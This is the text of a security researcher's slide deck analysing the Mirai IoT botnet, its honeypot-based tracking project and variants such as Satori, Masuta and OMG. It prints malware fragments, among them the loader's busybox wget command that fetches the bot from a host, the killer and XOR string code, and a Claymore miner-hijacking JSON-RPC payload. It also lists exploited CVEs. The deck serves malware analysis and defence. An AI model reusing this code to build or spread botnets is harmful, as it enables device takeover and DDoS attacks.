Internet of Things: Battle of the Bots

By
Dario Durando
whoami

- Researcher @ FortiGuard Labs
- Focus on Android and IoT
- Enjoy reading, pub quizzes and travelling
Agenda
Agenda

• Overview of the Mirai Botnet

• Lab Setup

• New Variants
Mirai Overview
Mirai’s first appearance

- Coded by Anna-senpai
- SC released on Hackforums.net on Sep 20, 2016

[FREE] World's Largest Net: Mirai Botnet, Client, Echo Loader, CNC source code release

Yesterday, 12:50 PM (This post was last modified: Yesterday 04:29 PM by Anna-senpai.)

Anna-senpai
L33t Member

Preface
Greetz everybody,

When I first go in DDoS industry, I wasn’t planning on staying in it long. I made my money, there’s lots of eyes looking at IOT now, so it’s a good time to go. However, I know every skid and their mama, it’s their wet dream to have something besides qbot.

So today, I have an amazing release for you. With Mirai, I usually pull max 380k bots from telnet alone. However, after the Kreb DDoS, shutting down and cleaning up their act. Today, max pull is about 300k bots, and dropping.

So, I am your senpai, and I will treat you real nice, my hf-chan.
How Mirai Works
How Mirai Works
How Mirai Works

1. **Infected IoT Device**
   - Telnet Port scan
   - Brute Force login

2. **Vulnerable IoT Devices**
   - Report srv
   - Loader
   - C2 srv

3. **Infected IoT Devices**
   - Botnet admin
   - Botnet user

4. **Target**
How Mirai Works
How Mirai Works

1. **Report srv**
   - Use IP and credentials

2. **Loader**
   - Load bot

3. **C2 srv**

4. **Infected IoT Devices**
   - Target

5. **Botnet admin**
   - Fraud

6. **Botnet user**
   - Vulnerable IoT Devices

**Infected IoT Device**
How Mirai Works
How Mirai Works

Botnet admin
- Add account & Assign max bots
- Send attack command

Botnet user
- Send attack command

Infected IoT Devices

Target

Report srv

Loader

C2 srv

Infected IoT Device

Vulnerable IoT Devices
How Mirai Works
How Mirai Works
**C2 Server**

- Coded in Golang
- Authentication using Telnet or API key
- Admin can add accounts and assign max no. of bots
- Used to control the connected bots
**ScanListener**

- Listens for bots to report victim device
- TCP port 48101

Report contains IP and credential
Loader

• Loads the bot to the target victim device
• Receives IP and credentials from ScanListener
• Upload methods:
  • ECHO
  • WGET
  • FTP

```c
break;
case UPLOAD_WGET:
    conn->state_telnet = TELNET_UPLOAD_WGET;
    conn->timeout = 120;
    util_sockprintf(conn->fd, "/bin/busybox wget http://%s:%d/bins/%s.%s -O - > "FN_BINARY "); /b:
        wrker->srv->wget_host_ip, wrker->srv->wget_host_port, "mirai", conn->info.any;
    printf("wget\n");
```
Bot

- Coded in C
- Cross-platform compatible (x86, ARM, MIPS, etc.)
- Modules:
  - Scanner
  - Attack
  - Killer

```c
attack_init();
killer_init();
#ifdef DEBUG
#ifdef MIRAI_TELNET
scanner_init();
#endif
#endif
```
Bot Module: Scanner

- Generates random IPs to scan
- Brute force login
- Reports new victim devices to ScanListener
- Avoids Specific IP addresses
Bot Module: Attack

- Attack vectors

```
Ready
test@botnet# ?
Available attack list
udp: UDP flood
ack: ACK flood
greip: GRE IP flood
greeth: GRE Ethernet flood
udpplain: UDP flood with less options. optimized for higher PPS
http: HTTP flood
vse: Valve source engine specific flood
dns: DNS resolver flood using the targets domain, input IP is ignored
syn: SYN flood
stomp: TCP stomp flood
```
Bot Module: Killer

- Kills various processes and services
  - Telnet
  - SSH
  - HTTP
  - Other bots

```javascript
if (killer_kill_by_port(htons(23))) // telnet
if (killer_kill_by_port(htons(22))) // ssh
if (killer_kill_by_port(htons(80))) // http
```
Bot Module: Killer

- Kills various processes and services
  - Telnet
  - SSH
  - HTTP
  - Other bots

```c
if (memory_scan_match(exe_path)) {
    printf("[killer] Memory scan match for binary %s\n", exe_path);
    kill(pid, 9);
}
```

```c
while ((ret = read(fd, rdbuf, sizeof(rdbuf))) > 0) {
    if (mem_exists(rdbuf, ret, m_qbot_report, m_qbot_len) ||
        mem_exists(rdbuf, ret, m_qbot_http, m_qbot2_len) ||
        mem_exists(rdbuf, ret, m_qbot_dup, m_qbot3_len) ||
        mem_exists(rdbuf, ret, m_upx_str, m_upx_len) ||
        mem_exists(rdbuf, ret, m_zollard, m_zollard_len)) {
    }
```
The KAIB Project
The KAIB Project

• Started in the beginning of 2018.

• Objectives:
  - Identification and study of Mirai variants
  - Collection of C2 servers and download URLs
  - Blacklisting
The KAIB Project

- More than 4000 different samples and ~50 different variants identified
- ~10 different exploits identified
- More than 400 different URLs blacklisted
Honeypot Setup

• Low interaction
• Logs Telnet login attempts
• Logs URLs from WGET download attempts
• Automatically downloads samples
Honeypot Setup

KAIB – Analyzes collected data

INTERNET

FortiGate forwards traffic on TCP Ports 23, 2323 to test network

Test Network

Virtual Machine

Guest OS (Honeypot Agent - listens on TCP port 2222 for infection attempts)

TCP Port 2222

Host OS (Backend - collects data from agent)

FortiGate forwards traffic on TCP Ports 23, 2323 to Honeypot TCP port 2222
Identification process
Identifying Groups

• Configuration options

Original Mirai

Derivatives

```c
/* Generic bot info */
#define TABLE_PROCESS_ARGV 1
#define TABLE_EXEC_SUCCESS 2
#define TABLE_CNC_DOMAIN 3
#define TABLE_CNC_PORT 4

/* Killer data */
#define TABLE_KILLER_SAFE 5
#define TABLE_KILLER_PROC 6
#define TABLE_KILLER_EXE 7
#define TABLE_KILLER_DELETED 8
#define TABLE_KILLER_FD 9
#define TABLE_KILLER_ANIME 10
#define TABLE_KILLER_STATUS 11
#define TABLE_MEM_QBOT 12
#define TABLE_MEM_QBOT2 13
#define TABLE_MEM_QBOT3 14
#define TABLE_MEM_UPX 15
#define TABLE_MEM_ZOLLARD 16
#define TABLE_MEM_REMAITEN 17

/* Scanner data */
#define TABLE_SCAN_CR_DOMAIN 18
```

```c
TABLE_9xesprvrgc8aj5pi7m28p0 = 1
TABLE_0at57brib4ahpjzncz40 = 2
TABLE_KILLER_PROC = 3
TABLE_MAPS = 4
TABLE_KILLER_EXE = 5
TABLE_PROC_NET_TCP = 6
TABLE_KILLER_FD = 7
TABLE_31c4603681c46036 = 8
TABLE_dvrHelper = 9
TABLE_fuckdvr = 10
TABLE_nexuswahere = 11
TABLE_bigbotPein = 12
TABLE_POST = 13
TABLE_dvrcelper = 14
TABLE_gweasdzxc = 15
TABLE_abccdefghijklmnop012345 = 16
TABLE_abccdefghijklmnopqrstuvwxyz012345678 = 17
TABLE_3jloakil142ndcbb5nhfg0 = 18
TABLE_AY43R = 19
```

```c
TABLE_LISTENING_BUNO EQU 2
TABLE_CNC_DOMAIN EQU 3
TABLE_CNC_PORT EQU 4
TABLE_COX EQU 5
TABLE_PROC EQU 6
TABLE_EXE EQU 7
TABLE_DELETED EQU 8
TABLE_FD EQU 9
TABLE_ANIME EQU 10
TABLE_STATUS EQU 11
TABLE_REPORT EQU 12
TABLE_HTTPFLOOD EQU 13
TABLE_LONOGTFO EQU 14
TABLE_HEX EQU 15
TABLE_ZOLLARD EQU 16
TABLE_GETLOCALIP EQU 17
TABLE_SSLCRL DOMAN EQU 18
```
Identifying Groups

- Cipher Key

Original Mirai

```c
uint32_t table_key = 0xdeadbeef;

int i;
struct table_value *val = &table[id];
uint8_t k1 = table_key & 0xff,
k2 = (table_key >> 8) & 0xff,
k3 = (table_key >> 16) & 0xff,
k4 = (table_key >> 24) & 0xff;

for (i = 0; i < val->val_len; i++)
{
    val->val[i] ^= k1;
    val->val[i] ^= k2;
    val->val[i] ^= k3;
    val->val[i] ^= k4;
}
```

Derivatives

```c
for (i = dword_805065C; i; i = *(DWORD *)(i + 12))
{
    if (*(_DWORD *)i > 0)
    {
        result = ai;
        if (ai == *(_DWORD *)i)
        {
            v3 = 0;
            if (!*(BYTE *)(i + 10))
                return result;
            while (1)
            {
                result = *(unsigned __int16 *)(i + 8);
                if (v3 >= result)
                    break;
                *(BYTE *)(-_DWORD *)(i + 4) += v3;
                *(BYTE *)(-_DWORD *)(i + 4) += v3;
                v4 = v3++;
                *(BYTE *)(-_DWORD *)(i + 4) += v4;
                break;
            }
        }
    }
}
```

```
= 0x0000;
= 0x0000;
= 0x0000;
= 0x0000;
```
Identifying Groups

- We developed a Python module “mirai”
  - `mirai.id()` – identifies the variant of Mirai and the key used to encrypt it
  - `mirai.str()` – prints out all the strings in the file after decrypting them
Identifying Groups

• Easter eggs

// safe string https://youtu.be/dQw4w9gXcQ
add_entry(TABLE_KILLER_SAFE, "\x4A\x56\x56\x52\x51\x18\x0D\x0D\x58\x4D\x57\x56\x57\x0C\x01\x47\x8D\x46\x73\x55\x16\x55\x18\x75\x45\x7A\x41\x73\x22", 29);
Identifying Groups

- Easter eggs
Identifying Groups

• C2 Heatmap:

Most hits from:
- USA
- Netherlands
- Russia
- China
Interesting Variants
Satori/Okiru
Satori/Okiru

- Believed to be coded by NexusZeta
- Most popular mod of Mirai
- Loader embedded in bot
- Uses exploits to spread
- Packed samples started appearing (UPX)

December 2017
First version of Satori including the first two exploits

8\textsuperscript{th} January 2018
Claymore exploit appears for the first time

18\textsuperscript{th} January 2018
WIFICAM exploit appears for the first time
Satori/Okiru

- Exploits
1. Scan port 52689:
CVE-2014-8361 – targets UPnP SOAP interface of Realtek SDK with miniigd daemon
2. **Scan port 37215:**
   CVE-2017-17215 – targets Huawei HG532 routers, 0-day
3. **Scan port 3333:**
Exploit that targets Claymore software (ETH mining) in order to change the destination wallet

```
0x804e118L ("id":0,"jsonrpc":"2.0","method":"miner_getstat1")
0x804e22L ("id":0,"jsonrpc":"2.0","method":"miner_file","params":
["reboot.bat","4574684463724d0696e657236342e657865202d65706f6f6c06
574682d757332e547761766706f6f6c2e636f6d3a38303038
202d6577616c203708231354135333326542376344324443
76134456337663936373439453736394133373133537326420d
6d6f64652031202d6d706f72742033333333202d6d70737204
5687053564074556274"])
0x804e2a9L ("id":0,"jsonrpc":"2.0","method":"miner_reboot")
```

```
EthDcrMiner64.exe -epool eth-us2.dwarfpool.com:8008 -ewal
0xB15A5332eB7cD2DD7a4Ec7f96749E769A371572d -mode 1 -mport 3333 -mpsw EthSVHtUbt
```
4. Scan port 81:
   Chain of exploits that target Wireless IP Camera (P2P) WIFICAM
Masuta
Masuta

- Also believed to be coded NexusZeta
- Was initially just a mod of Mirai with updated list of credentials
- Later implemented a SOAP exploit to propagate

April 2017
First version of Masuta

January 2018
DLink exploits appears for the first time
Masuta

- Contains a Zyxel and two D-Link (EDB 38722 and 27044) exploits, that allow code execution without need of authentication
OMG

- Contains the original Mirai modules (attack, killer, scanner)
- Brute-force login to spread
- Turns IoT device into a proxy server

July 2017
First version of OMG

December 2017

/bin/busybox MIRAI
MIRAI: applet not found

/bin/busybox OOMGA
OOMGA: applet not found
- Uses 3Proxy, an open-source proxy servers set
- Generates 2 random ports for HTTP and SOCKS proxies

```c
while ( 1 )
{
    http_proxy_port = sock_random_port();
    socks_proxy_port = sock_random_port();
    if ( http_proxy_port == socks_proxy_port )
    {
        http_proxy_port = sock_random_port();
        socks_proxy_port = sock_random_port();
    }
}
```
• Adds firewall rule to allow traffic on the generated ports
OMG

- Embedded configuration

```c
pthread_mutex_init((int*)&hash_mutex, 0);
pthread_mutex_init((int*)&tc_mutex, 0);
pthread_mutex_init((int*)&pw1_mutex, 0);
pthread_mutex_init((int*)&log_mutex, 0);
pthread_mutex_init((int*)&rad_mutex, 0);
freeconf((int*)&conf, v4, v5);
v14 = 0;
sub_42380((int)v15, a, 255);
printf((int)&v14, "proxy -a -p%d", http_proxy_port);
v12 = 0;
sub_42380((int)v13, 0, 255);
printf((int)&v12, "socks -a -p%d", socks_proxy_port);
sub_42380((int)&v16, 0, 64);
v16 = (int)"ns1server 8.8.8.8";
v17 = (int)"ns1server 8.8.4.4";
v18 = (int)"nscache 65536";
v19 = (int)"maxconn 360";
v20 = &v14;
v21 = &v12;
v7 = readconfig(&v16, v6, (int)"maxconn 360");
```
• At the time of analyzing the sample the C2 was already down, so we could not analyze that further.

• Possible evolutions:
  ▪ This version is simply including 3Proxy as a module to provide proxy capabilities.
  ▪ in the future they might be able to use the proxies to create decentralized C2s (might require more skill than just ctrl-c ctrl-v)
Conclusions
Conclusions

• Mirai Based malware is experiencing an evolution that resembles the one of more mature families:

  • Started with:
    • Basic obfuscation techniques (single byte XOR)
    • Brute Force Login

  • New variants:
    • Propagate using targeted exploits
    • Use known packers (UPX)
    • Are using creative ways to monetize
Conclusions

• We expect this trend to continue:
  • So far there have been no real modifications of the core functionalities. However, as time passes by, we expect malware developers to get more and more creative
  • Likely more exploits to target the devices that have been safe so far
  • Mirai is winning the war with other botnets and will probably remain the most common IoT devices botnet for a while due to its modularity and cross-architectural compatibility
QUESTIONS?
Thank you

ddurando@fortinet.com
rjoven@fortinet.com
jlmanuel@fortinet.com

@0xChill
@rommeljoven17
@sarhento_